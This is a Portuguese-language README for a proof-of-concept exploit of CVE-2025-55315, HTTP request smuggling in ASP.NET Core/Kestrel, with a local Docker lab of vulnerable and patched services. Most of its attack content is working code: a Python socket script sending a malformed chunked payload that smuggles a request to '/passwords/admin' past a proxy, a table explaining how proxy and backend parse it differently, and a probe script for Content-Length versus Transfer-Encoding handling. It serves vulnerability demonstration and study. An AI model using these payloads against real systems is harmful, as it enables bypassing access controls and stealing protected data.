
Exploração de prova de conceito para CVE-2025-55315 (Contrabando de requisição HTTP no .NET). Demonstra como a codificação chunked analisada incorretamente permite que atacantes contrabandeiem requisições através de proxies e balanceadores de carga em servidores ASP.NET Core/Kestrel vulneráveis.
Prova de conceito do exploit para CVE-2025-55315 (Contrabando de Requisições HTTP .NET). Demonstra como a codificação chunked mal interpretada permite que invasores contrabandeiem requisições através de proxies e balanceadores de carga em servidores ASP.NET Core/Kestrel vulneráveis.
Ver Apresentação Interativa no Prezi
🎥 Clique no selo acima para ver a apresentação interativa completa no Prezi
Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerável ao CVE-2025-55315)Dockerfile.patched - Usa .NET 10.0.100 (versão corrigida)Nota: A vulnerabilidade está no analisador HTTP do runtime .NET (Kestrel), não no código da aplicação. Ambas as versões usam código-fonte idêntico, mas versões diferentes do runtime .NET.
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
Consulte DOCKER.md para instruções detalhadas de uso do Docker.
O proxy Python demonstra o CVE-2025-55315 ao favorecer o Content-Length sobre o Transfer-Encoding, possibilitando o contrabando de requisições HTTP:
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
Este payload contrabandeia uma segunda requisição para /passwords/admin além da verificação de segurança do proxy, explorando a discrepância na forma como o proxy e o servidor backend analisam a requisição.
Veja como o proxy e o servidor backend interpretam o mesmo payload de forma diferente:
|
INTERPRETAÇÃO DO PROXY (Aceita
|
INTERPRETAÇÃO DO BACKEND (Rejeita
|
Diferenças Principais:
| Componente | Tamanho do Chunk 2;\n | Bytes Lidos | O que acontece |
|---|---|---|---|
| Proxy | ✅ Tamanho de chunk válido | 2 bytes (xx) | Trata 2;\n como cabeçalho de chunk completo, lê 2 bytes, continua para o próximo chunk |
| Backend | ❌ Final de linha inválido | Ainda lê como chunk de 2 bytes | O cabeçalho do chunk não termina até xx\r\n, portanto 39 vira o corpo do chunk, 0 encerra o chunk |
Explicação Detalhada:
2;\n como declaração válida de tamanho de chunk (2 bytes) → Lê xx como corpo do chunk de 2 bytes → Avança para o próximo chunk (39)\n como final de linha → O tamanho do chunk ainda é 2, mas o cabeçalho se estende por 2;\nxx\r\n → Lê 39 como parte do corpo do chunk → 0\r\n encerra o chunkGET /passwords/admin fica oculta no que o backend trata como dados do chunk, mas é analisada como uma requisição separada após o processamento do chunk terminarA requisição contrabandeada GET /passwords/admin está oculta no que o proxy pensa ser dados do corpo do chunk, mas o backend a analisa como uma requisição HTTP separada.
Antes de explorar, você precisa identificar qual cabeçalho HTTP (Content-Length ou Transfer-Encoding) cada componente favorece. Aqui está um guia passo a passo:
Envie uma requisição com ambos os cabeçalhos Content-Length e Transfer-Encoding: chunked para ver qual deles cada componente respeita:
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Análise:
Content-LengthTransfer-EncodingTeste todos os componentes da sua arquitetura para encontrar discrepâncias:
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly